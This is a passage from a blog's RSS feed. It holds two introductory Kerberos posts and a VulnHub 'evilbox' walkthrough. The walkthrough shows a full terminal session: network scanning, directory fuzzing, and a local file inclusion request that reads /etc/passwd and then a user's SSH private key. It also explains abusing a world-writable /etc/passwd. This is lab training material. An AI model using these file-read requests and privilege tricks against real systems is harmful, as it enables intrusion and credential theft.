step</strong> of authentication. Once a user has a <strong>TGT</strong>, they can request access to specific services.</p><p>🔹 <strong>Process:</strong></p><ol><li>The client presents the <strong>TGT</strong> to the TGS when requesting access to a service (e.g., a database, a file server).</li><li>The TGS verifies the TGT’s validity.</li><li>If valid, the TGS issues a <strong>Service Ticket</strong>, encrypted with the target service’s secret key.</li><li>The client presents the <strong>Service Ticket</strong> to the requested service for access.</li></ol><p>🔹 <strong>Key Role:</strong> Grants users <strong>access to network services</strong> without requiring them to re-enter credentials.</p><h3>4️⃣ Client &amp; Server — The Endpoints</h3><h3>🟢 Client (User or Machine Requesting Access)</h3><ul><li>The <strong>client</strong> is the user (or application) attempting to authenticate and access services.</li><li>It must first <strong>authenticate with the AS</strong> to obtain a <strong>TGT</strong>.</li><li>Once authenticated, it requests <strong>service tickets</strong> from the <strong>TGS</strong> to access specific network resources.</li></ul><h3>🔵 Server (Service Provider)</h3><ul><li>The <strong>server</strong> is any network resource that requires secure authentication, such as:</li><li>File servers</li><li>Databases</li><li>Web applications</li><li>SSH servers</li><li>It only <strong>trusts service tickets issued by the TGS</strong> and does not require users to enter passwords again.</li></ul><h3>🔹 Example: Kerberos Authentication in Action</h3><p>Let’s assume <strong>Alice</strong> wants to access a file server using Kerberos.</p><p>1️⃣ <strong>Alice requests authentication from the AS</strong></p><ul><li>Alice enters her username and password.</li><li>The AS verifies her identity and sends her a <strong>TGT</strong> (encrypted with her password hash).</li></ul><p>2️⃣ <strong>Alice requests access to the file server from the TGS</strong></p><ul><li>Alice sends her <strong>TGT</strong> to the TGS and asks for a <strong>Service Ticket</strong> for the file server.</li><li>The TGS verifies the TGT and grants her a <strong>Service Ticket</strong>.</li></ul><p>3️⃣ <strong>Alice presents the Service Ticket to the file server</strong></p><ul><li>Alice sends the <strong>Service Ticket</strong> to the file server.</li><li>The file server decrypts the ticket using its secret key and allows access.</li></ul><p>🔹 <strong>Outcome:</strong> Alice successfully accesses the file server <strong>without re-entering her password</strong>.</p><h3>Conclusion</h3><ul><li>The <strong>KDC</strong> (AS + TGS) is the backbone of Kerberos authentication.</li><li>The <strong>AS</strong> authenticates users and issues <strong>TGTs</strong>.</li><li>The <strong>TGS</strong> grants <strong>Service Tickets</strong> for specific resources.</li><li>The <strong>Client</strong> requests access, and the <strong>Server</strong> verifies tickets before allowing entry.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fa5e88057180" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kerberos Authentication Protocol]]></title>
            <link>https://hassanbedair.medium.com/kerberos-authentication-protocol-d55334e4c6c0?source=rss-4e0e2db56131------2</link>
            <guid isPermaLink="false">https://medium.com/p/d55334e4c6c0</guid>
            <category><![CDATA[kerberos]]></category>
            <dc:creator><![CDATA[Hassan Bedair]]></dc:creator>
            <pubDate>Mon, 03 Feb 2025 16:40:59 GMT</pubDate>
            <atom:updated>2025-02-03T16:40:59.328Z</atom:updated>
            <content:encoded><![CDATA[<p>Kerberos is a <strong>network authentication protocol</strong> that uses secret-key cryptography to securely authenticate users and services in a network. It was developed by <strong>MIT</strong> and is commonly used in enterprise environments, especially in <strong>Windows Active Directory</strong> and <strong>Unix-based systems</strong>.</p><h3>🔹 How Kerberos Works</h3><p>Kerberos uses a <strong>trusted third party</strong>, called the <strong>Key Distribution Center (KDC)</strong>, to authenticate clients and grant them access to services. The process involves <strong>three main steps</strong>:</p><ol><li><strong>Authentication Service (AS) Request &amp; Response</strong></li></ol><ul><li>The client sends a request to the KDC to authenticate itself.</li><li>The KDC verifies the request and sends back a <strong>Ticket Granting Ticket (TGT)</strong>, encrypted with the client’s secret key.</li></ul><p><strong>Ticket Granting Service (TGS) Request &amp; Response</strong></p><ul><li>The client sends the TGT to the KDC’s Ticket Granting Service (TGS) when requesting access to a specific service.</li><li>The TGS verifies the TGT and issues a <strong>Service Ticket</strong>.</li></ul><p><strong>Service Authentication</strong></p><ul><li>The client presents the Service Ticket to the target service (e.g., a file server or database).</li><li>If valid, access is granted <strong>without re-entering credentials</strong>.</li></ul><h3>🔹 Key Features</h3><p>✔ <strong>Mutual Authentication</strong> — Both client and server verify each other.<br> ✔ <strong>Single Sign-On (SSO)</strong> — Users authenticate once and access multiple services.<br> ✔ <strong>Time-Limited Tickets</strong> — Reduces the risk of replay attacks.<br> ✔ <strong>Uses Strong Encryption</strong> — Typically uses AES or RC4.</p><h3>🔹 Common Use Cases</h3><ul><li><strong>Windows Active Directory Authentication</strong></li><li><strong>SSH Authentication in Unix/Linux</strong></li><li><strong>Web Application SSO (e.g., via SPNEGO in browsers)</strong></li></ul><p>To continue understanding <strong>Kerberos</strong>, you can dive into these key areas:</p><h3>1️⃣ Detailed Kerberos Authentication Flow</h3><ul><li>Understand <strong>pre-authentication</strong> and <strong>session key exchange</strong>.</li><li>Learn how <strong>time-based tickets</strong> prevent replay attacks.</li><li>Explore <strong>delegation</strong> (forwarded tickets for service-to-service authentication).</li></ul><h3>2️⃣ Kerberos Components &amp; Roles</h3><ul><li><strong>Key Distribution Center (KDC)</strong> — The central authority.</li><li><strong>Authentication Server (AS)</strong> — Verifies user identity.</li><li><strong>Ticket Granting Server (TGS)</strong> — Issues service tickets.</li><li><strong>Client &amp; Server</strong> — The user and the service they access.</li></ul><h3>3️⃣ Practical Implementation</h3><ul><li>Setup <strong>Kerberos on Linux (MIT/Heimdal Kerberos)</strong>.</li><li>Configure <strong>Kerberos in Windows Active Directory</strong>.</li><li>Use <strong>Kerberos authentication in SSH, PostgreSQL, or web applications</strong>.</li></ul><h3>4️⃣ Security Considerations &amp; Attacks</h3><ul><li><strong>Pass-the-Ticket Attack</strong> — How adversaries steal tickets.</li><li><strong>Kerberoasting</strong> — Extracting service account hashes from tickets.</li><li><strong>Mitigation Strategies</strong> — Enable AES encryption, reduce ticket lifetimes, use Managed Service Accounts (MSAs).</li></ul><h3>5️⃣ Advanced Topics</h3><ul><li><strong>Cross-Realm Authentication</strong> — Allowing authentication across multiple Kerberos domains.</li><li><strong>Integration with LDAP &amp; Active Directory</strong>.</li><li><strong>Kerberos Constrained Delegation (KCD)</strong> — How services can act on behalf of a user securely.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d55334e4c6c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[evilbox writeup — vulnhub]]></title>
            <link>https://hassanbedair.medium.com/evilbox-writeup-vulnhub-19095c23005b?source=rss-4e0e2db56131------2</link>
            <guid isPermaLink="false">https://medium.com/p/19095c23005b</guid>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Hassan Bedair]]></dc:creator>
            <pubDate>Fri, 10 Jan 2025 09:11:18 GMT</pubDate>
            <atom:updated>2025-01-10T09:23:33.286Z</atom:updated>
            <content:encoded><![CDATA[<h3>evilbox writeup — vulnhub</h3><p>source <a href="https://www.vulnhub.com/entry/evilbox-one,736/">https://www.vulnhub.com/entry/evilbox-one,736/</a></p><p>knowledge required ; linux permissions, LFI web app vulnerability</p><p>difficutly: easy</p><p>author linkedin.com/in/hassan-hossam-bedair-/</p><p>inspired by oscp instructor mohab mustafa ; <a href="https://www.linkedin.com/in/mohab-mustafa/">https://www.linkedin.com/in/mohab-mustafa/</a></p><p>First, I want you to understand this! I won’t just show you the steps right along. We need to understand the *WHY* behind this machine!</p><h3>What does -rw-rw-rw- mean ?</h3><p>The command ls -lsa /etc/passwd lists details about the /etc/passwd file. Here&#39;s the breakdown:</p><h3>Output:</h3><pre>4 -rw-rw-rw- 1 root root 1398 ago 16  2021 /etc/passwd</pre><h3>Explanation:</h3><ol><li><strong>4</strong>: This indicates the file’s size in terms of disk blocks. Each block is typically 1 KB, so this file takes up 4 KB on disk.</li><li><strong>-rw-rw-rw-</strong>: These are the file permissions:</li></ol><ul><li><strong>-</strong>: Indicates it is a regular file.</li><li><strong>rw-</strong>: Read and write permissions for the owner.</li><li><strong>rw-</strong>: Read and write permissions for the group.</li><li><strong>rw-</strong>: Read and write permissions for others. This is a dangerous permission setting since anyone can modify this critical system file.</li></ul><p><strong>3. 1</strong>: The number of hard links to this file (usually 1 for regular files).</p><p><strong>4. root root</strong>:</p><ul><li>The first root is the file owner.</li><li>The second root is the group associated with the file.</li></ul><p><strong>5. 1398</strong>: The size of the file in bytes.</p><p><strong>6. ago 16 2021</strong>: The last modification date and time. It was last modified on August 16, 2021.</p><p><strong>7. /etc/passwd</strong>: The full path of the file.</p><h3>/etc/passwd File:</h3><p>This file contains user account information, including usernames, user IDs, group IDs, and the user’s home directory. It should not have write permissions for anyone other than the owner (root). The current permissions (rw-rw-rw-) are insecure and could lead to system compromise if exploited.</p><h3>Alright, how can we abuse this?</h3><ul><li>generate a MD5-based pass HASH</li></ul><pre>openssl passwd -1 password</pre><p>The command openssl passwd -1 password generates an <strong>MD5-based password hash</strong> for the string password. Here&#39;s a detailed breakdown:</p><h3>Components:</h3><ol><li><strong>openssl</strong>: OpenSSL is a toolkit for implementing cryptographic operations, including password hashing.</li><li><strong>passwd</strong>: This subcommand generates password hashes using specified algorithms.</li><li><strong>-1</strong>: This flag specifies the use of the <strong>MD5-based hashing algorithm</strong> (commonly used for older systems but considered less secure today).</li><li><strong>password</strong>: This is the plaintext password you want to hash.</li></ol><h3>Output:</h3><p>Running the command might produce something like this:</p><pre>$ openssl passwd -1 password<br>$1$salt$hash</pre><ul><li><strong>$1$</strong>: Indicates the use of the MD5 hashing algorithm.</li><li><strong>salt</strong>: A randomly generated string that makes the hash unique, preventing attacks like precomputed dictionary attacks.</li><li><strong>hash</strong>: The hashed representation of the password combined with the salt.</li></ul><h3>Use Case:</h3><ul><li>The generated hash can be used in password files, like /etc/shadow, to store hashed passwords for user accounts.</li></ul><h3>Security Note:</h3><ul><li>MD5 is no longer considered secure for hashing passwords because it’s vulnerable to collision and brute-force attacks.</li></ul><p>— -</p><p>Modern alternatives like SHA-256 or bcrypt are recommended for better security:</p><ul><li>For SHA-256: openssl passwd -6 password</li><li>For bcrypt (via another tool): Use htpasswd or dedicated bcrypt libraries.</li></ul><h3>Let’s discuss my mistakes before showing you my final command line</h3><ul><li>openssl passwd -1 root # now we generated hash of ‘root’ # root will be asked as a password!</li><li>evil.php was not leaked during my ffuf scan. i had to instead use gobuster</li></ul><h3>Revision) Why was mowree able to edit the /etc/passwd file ?</h3><p>None of these groups have root privileges, so mowree should not normally have access to edit /etc/passwd. However, due to the rw- permissions for others, mowree can directly edit the file.</p><p>— -</p><p><strong>File Permissions</strong>:</p><ul><li><strong>rw-</strong> (owner: root): The file owner (root) has read and write permissions.</li><li><strong>rw-</strong> (group: root): The file group (root) has read and write permissions.</li><li><strong>rw-</strong> (others): Everyone else has read and write permissions.</li></ul><p>— -</p><p><strong>mowree’s User Information</strong>:</p><ul><li><strong>uid=1000(mowree)</strong>: User ID and username of mowree.</li><li><strong>gid=1000(mowree)</strong>: Group ID and primary group of mowree.</li><li><strong>grupos=1000(mowree),...</strong>: Additional groups mowree belongs to.</li></ul><p>— -</p><h4>reminder on command output</h4><ul><li>Let us id mowree!</li></ul><pre>mowree@EvilBoxOne:~$ id<br>uid=1000(mowree) gid=1000(mowree) grupos=1000(mowree),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)</pre><ul><li>let’s find file permissions of /etc/passwd</li></ul><pre>mowree@EvilBoxOne:~$ ls -lsa /etc/passwd<br>4 -rw-rw-rw- 1 root root 1398 ago 16  2021 /etc/passwd</pre><h3>One command line showing all my steps !</h3><pre>┌──(kali㉿kali)-[~]<br>└─$ sudo su               <br>[sudo] password for kali: <br>┌──(root㉿kali)-[/home/kali]<br>└─# ls<br>Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos<br>                                                                             <br>┌──(root㉿kali)-[/home/kali]<br>└─# arp-scan -l<br>Interface: eth0, type: EN10MB, MAC: 08:00:27:6e:13:6e, IPv4: 192.168.56.102<br>WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied<br>WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied<br>Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)<br>192.168.56.1    0a:00:27:00:00:0c       (Unknown: locally administered)<br>192.168.56.100  08:00:27:59:fa:bc       (Unknown)<br>192.168.56.104  08:00:27:29:c6:cf       (Unknown)<br>^C<br>                                                                             <br>┌──(root㉿kali)-[/home/kali]<br>└─# ping 192.168.56.104<br>PING 192.168.56.104 (192.168.56.104) 56(84) bytes of data.<br>64 bytes from 192.168.56.104: icmp_seq=1 ttl=64 time=0.934 ms<br>^C<br>--- 192.168.56.104 ping statistics ---<br>1 packets transmitted, 1 received, 0% packet loss, time 0ms<br>rtt min/avg/max/mdev = 0.934/0.934/0.934/0.000 ms<br>                                                                             <br>┌──(root㉿kali)-[/home/kali]<br>└─# ping 8.8.8.8       <br>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.<br>64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=44.9 ms<br>^C<br>--- 8.8.8.8 ping statistics ---<br>1 packets transmitted, 1 received, 0% packet loss, time 0ms<br>rtt min/avg/max/mdev = 44.948/44.948/44.948/0.000 ms<br>                                                                             <br>┌──(root㉿kali)-[/home/kali]<br>└─# ifconfig <br>eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500<br>        inet 192.168.56.102  netmask 255.255.255.0  broadcast 192.168.56.255<br>        inet6 fe80::ef9c:d01:a30b:1a1c  prefixlen 64  scopeid 0x20&lt;link&gt;<br>        ether 08:00:27:6e:13:6e  txqueuelen 1000  (Ethernet)<br>        RX packets 12  bytes 2916 (2.8 KiB)<br>        RX errors 0  dropped 0  overruns 0  frame 0<br>        TX packets 536  bytes 33910 (33.1 KiB)<br>        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0<br><br>eth1: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500<br>        inet 10.0.2.4  netmask 255.255.255.0  broadcast 10.0.2.255<br>        inet6 fe80::250d:5230:bbe9:4769  prefixlen 64  scopeid 0x20&lt;link&gt;<br>        ether 08:00:27:ba:8b:d0  txqueuelen 1000  (Ethernet)<br>        RX packets 5  bytes 868 (868.0 B)<br>        RX errors 0  dropped 0  overruns 0  frame 0<br>        TX packets 26  bytes 3310 (3.2 KiB)<br>        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0<br><br>lo: flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 65536<br>        inet 127.0.0.1  netmask 255.0.0.0<br>        inet6 ::1  prefixlen 128  scopeid 0x10&lt;host&gt;<br>        loop  txqueuelen 1000  (Local Loopback)<br>        RX packets 8  bytes 480 (480.0 B)<br>        RX errors 0  dropped 0  overruns 0  frame 0<br>        TX packets 8  bytes 480 (480.0 B)<br>        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0<br><br>                                                                             <br>┌──(root㉿kali)-[/home/kali]<br>└─# <br>                                                                                                                    <br>┌──(root㉿kali)-[/home/kali]<br>└─# <br>                                                                                                                    <br>┌──(root㉿kali)-[/home/kali]<br>└─# export victim=192.168.56.104<br>                                                                                                                    <br>┌──(root㉿kali)-[/home/kali]<br>└─# echo $victim                <br>192.168.56.104<br>                                                                                                                    <br>┌──(root㉿kali)-[/home/kali]<br>└─# ping $victim<br>PING 192.168.56.104 (192.168.56.104) 56(84) bytes of data.<br>64 bytes from 192.168.56.104: icmp_seq=1 ttl=64 time=2.24 ms<br>64 bytes from 192.168.56.104: icmp_seq=2 ttl=64 time=0.744 ms<br>^C<br>--- 192.168.56.104 ping statistics ---<br>2 packets transmitted, 2 received, 0% packet loss, time 1004ms<br>rtt min/avg/max/mdev = 0.744/1.490/2.236/0.746 ms<br>                                                                                                                    <br>┌──(root㉿kali)-[/home/kali]<br>└─# nmap -sCV $victim<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 03:00 EST<br>Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan<br>Service scan Timing: About 50.00% done; ETC: 03:00 (0:00:06 remaining)<br>Nmap scan report for 192.168.56.104<br>Host is up (0.00029s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA)<br>|   256 27:db:6a:c7:3a:9c:5a:0e:47:ba:8d:81:eb:d6:d6:3c (ECDSA)<br>|_  256 e3:07:56:a9:25:63:d4:ce:39:01:c1:9a:d9:fe:de:64 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.38 ((Debian))<br>|_http-server-header: Apache/2.4.38 (Debian)<br>|_http-title: Apache2 Debian Default Page: It works<br>MAC Address: 08:00:27:29:C6:CF (Oracle VirtualBox virtual NIC)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 7.16 seconds<br>                                                                                                                    <br>┌──(root㉿kali)-[/home/kali]<br>└─# cd /usr/share/dirbuster/wordlists/ <br>                                                                                                                    <br>┌──(root㉿kali)-[/usr/share/dirbuster/wordlists]<br>└─# ffuf -w directory-list-lowercase-2.3-medium.txt -t 100 -u http://$victim/FUZZ<br><br>        /&#39;___\  /&#39;___\           /&#39;___\       <br>       /\ \__/ /\ \__/  __  __  /\ \__/       <br>       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      <br>        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      <br>         \ \_\   \ \_\  \ \____/  \ \_\       <br>          \/_/    \/_/   \/___/    \/_/       <br><br>       v2.1.0-dev<br>________________________________________________<br><br> :: Method           : GET<br> :: URL              : http://192.168.56.104/FUZZ<br> :: Wordlist         : FUZZ: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt<br> :: Follow redirects : false<br> :: Calibration      : false<br> :: Timeout          : 10<br> :: Threads          : 100<br> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500<br>________________________________________________<br><br># Copyright 2007 James Fisher [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 8ms]<br># or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 6ms]<br># license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 26ms]<br>#                       [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 26ms]<br># Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 781ms]<br># directory-list-lowercase-2.3-medium.txt [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 989ms]<br># on atleast 2 different hosts [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 1563ms]<br># This work is licensed under the Creative Commons  [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 1755ms]<br>#                       [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 1771ms]<br>secret                  [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 3ms]<br># Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 3756ms]<br>#                       [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 3770ms]<br>#                       [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 3782ms]<br>                        [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 3790ms]<br># Priority ordered case insensative list, where entries were found  [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 3798ms]<br>                        [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 9ms]<br>[WARN] Caught keyboard interrupt (Ctrl-C)<br><br><br>                                                                                                                    <br>┌──(root㉿kali)-[/usr/share/dirbuster/wordlists]<br>└─# curl http://$vicitm/secret        <br>curl: (6) Could not resolve host: secret<br>                                                                                                                    <br>┌──(root㉿kali)-[/usr/share/dirbuster/wordlists]<br>└─# curl http://192.168.56.104/secret<br>&lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;<br>&lt;html&gt;&lt;head&gt;<br>&lt;title&gt;301 Moved Permanently&lt;/title&gt;<br>&lt;/head&gt;&lt;body&gt;<br>&lt;h1&gt;Moved Permanently&lt;/h1&gt;<br>&lt;p&gt;The document has moved &lt;a href=&quot;http://192.168.56.104/secret/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;<br>&lt;hr&gt;<br>&lt;address&gt;Apache/2.4.38 (Debian) Server at 192.168.56.104 Port 80&lt;/address&gt;<br>&lt;/body&gt;&lt;/html&gt;<br>                                                                                                                    <br>┌──(root㉿kali)-[/usr/share/dirbuster/wordlists]<br>└─# curl http://192.168.56.104:80/secret<br>&lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;<br>&lt;html&gt;&lt;head&gt;<br>&lt;title&gt;301 Moved Permanently&lt;/title&gt;<br>&lt;/head&gt;&lt;body&gt;<br>&lt;h1&gt;Moved Permanently&lt;/h1&gt;<br>&lt;p&gt;The document has moved &lt;a href=&quot;http://192.168.56.104/secret/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;<br>&lt;hr&gt;<br>&lt;address&gt;Apache/2.4.38 (Debian) Server at 192.168.56.104 Port 80&lt;/address&gt;<br>&lt;/body&gt;&lt;/html&gt;<br><br>### had to quickly mkdir and cd into evilbox                                                                                                                     <br><br>┌──(root㉿kali)-[/home/kali/Desktop/evilbox]<br>└─# gobuster dir -r -u http://192.168.56.104/secret/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -o dir-secret.log <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://192.168.56.104/secret/<br>[+] Method:                  GET<br>[+] Threads:                 10<br>[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Extensions:              txt,php,html<br>[+] Follow Redirect:         true<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/index.html           (Status: 200) [Size: 4]<br>/.html                (Status: 403) [Size: 279]<br>/.php                 (Status: 403) [Size: 279]<br>/evil.php             (Status: 200) [Size: 0]<br>Progress: 61335 / 882244 (6.95%)^C<br>[!] Keyboard interrupt detected, terminating.<br>Progress: 64294 / 882244 (7.29%)<br>===============================================================<br>Finished<br>===============================================================<br>                                                                                                    <br>                                                                                    <br>┌──(root㉿kali)-[/usr/share/dirbuster/wordlists]<br>└─# ffuf -w directory-list-lowercase-2.3-medium.txt -t 100 -u http://192.168.56.104/secret/evil.php?FUZZ=/etc/passwd -fs 0<br><br>        /&#39;___\  /&#39;___\           /&#39;___\       <br>       /\ \__/ /\ \__/  __  __  /\ \__/       <br>       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      <br>        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      <br>         \ \_\   \ \_\  \ \____/  \ \_\       <br>          \/_/    \/_/   \/___/    \/_/       <br><br>       v2.1.0-dev<br>________________________________________________<br><br> :: Method           : GET<br> :: URL              : http://192.168.56.104/secret/evil.php?FUZZ=/etc/passwd<br> :: Wordlist         : FUZZ: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt<br> :: Follow redirects : false<br> :: Calibration      : false<br> :: Timeout          : 10<br> :: Threads          : 100<br> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500<br> :: Filter           : Response size: 0<br>________________________________________________<br><br>command                 [Status: 200, Size: 1398, Words: 13, Lines: 27, Duration: 12ms]<br>:: Progress: [207643/207643] :: Job [1/1] :: 5952 req/sec :: Duration: [0:00:41] :: Errors: 0 ::<br>                                                                                                       <br>┌──(root㉿kali)-[/usr/share/dirbuster/wordlists]<br>└─# curl http://192.168.56.104:80/secret/evil.php?command=/etc/passwd<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br>systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin<br>systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin<br>systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin<br>messagebus:x:104:110::/nonexistent:/usr/sbin/nologin<br>sshd:x:105:65534::/run/sshd:/usr/sbin/nologin<br>mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash<br>systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin<br>                                                                                                       <br>┌──(root㉿kali)-[/usr/share/dirbuster/wordlists]<br>└─# echo &quot;LFI spotted&quot;<br>LFI spotted<br>                                                                                                       <br>┌──(root㉿kali)-[/usr/share/dirbuster/wordlists]<br>└─# curl http://192.168.56.104:80/secret/evil.php?command=/home/mowree/.ssh/id_rsa<br>-----BEGIN RSA PRIVATE KEY-----<br>Proc-Type: 4,ENCRYPTED<br>DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E<br><br>uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6<br>hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe<br>o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb<br>+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot<br>b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k<br>HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg<br>9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY<br>zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu<br>rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1<br>tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs<br>94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm<br>VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7<br>Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P<br>hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr<br>Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR<br>IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R<br>MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS<br>62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69<br>Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8<br>p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C<br>pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X<br>KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa<br>i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp<br>4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyyb